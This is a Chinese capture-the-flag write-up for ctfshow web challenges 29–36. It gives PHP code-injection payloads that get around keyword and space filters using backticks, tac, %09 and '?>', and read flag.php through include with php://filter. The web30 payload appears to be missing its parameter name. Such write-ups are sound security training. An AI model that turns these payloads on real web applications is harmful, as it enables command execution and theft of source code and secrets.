ctfshow web入门29~36

  • 962 字
  1. 1. web29
  2. 2. web30
  3. 3. web31
  4. 4. web32
  5. 5. web33
  6. 6. web34
  7. 7. web35
  8. 8. web36

web29

img
过滤了flag,可以用system,echo等.

1
2
/?c=system("cat fla*");
/?c=echo`cat fl*`;

web30

img
多过滤了一个system,还可以用echo.

1
/?echo`cat fl*`;

web31

img
cat和空格过滤了,可以用tac.
空格可以用%09绕过.

1
/?c=echo%09`tac%09fl*`;

web32

img
过滤的东西太多了左括号都给过滤了,使用命令逃逸+文件包含.
空格可以用%09绕过, ;可以用?>绕过,因为使用?>,所以后面没办法直接拼接php语句,需要使用文件包含.

1
/?c=include%09$_GET[1]?>&&1=php://filter/convert.base64-encode/resource=flag.php

再将得到的进行base64解码得到flag

web33

img
和web32差不多,用同样的payload就行

1
/?c=include%09$_GET[1]?>&&1=php://filter/convert.base64-encode/resource=flag.php

web34

依旧可以用同样的payload

1
/?c=include%09$_GET[1]?>&&1=php://filter/convert.base64-encode/resource=flag.php

web35

依旧可以用同样的payload

1
/?c=include%09$_GET[1]?>&&1=php://filter/convert.base64-encode/resource=flag.php

连续几道题都一样,写的真恶心.

web36

这道题把1换成其他的字符就行,其他步骤一样.

1
/?c=include%09$_GET[a]?>&&a=php://filter/convert.base64-encode/resource=flag.php

require可以代替include,PHP常用的可以不加括号的函数echo、print、isset、unset、include、require.

赞助喵
非常感谢您的喜欢!
赞助喵
分享这一刻
让朋友们也来瞅瞅!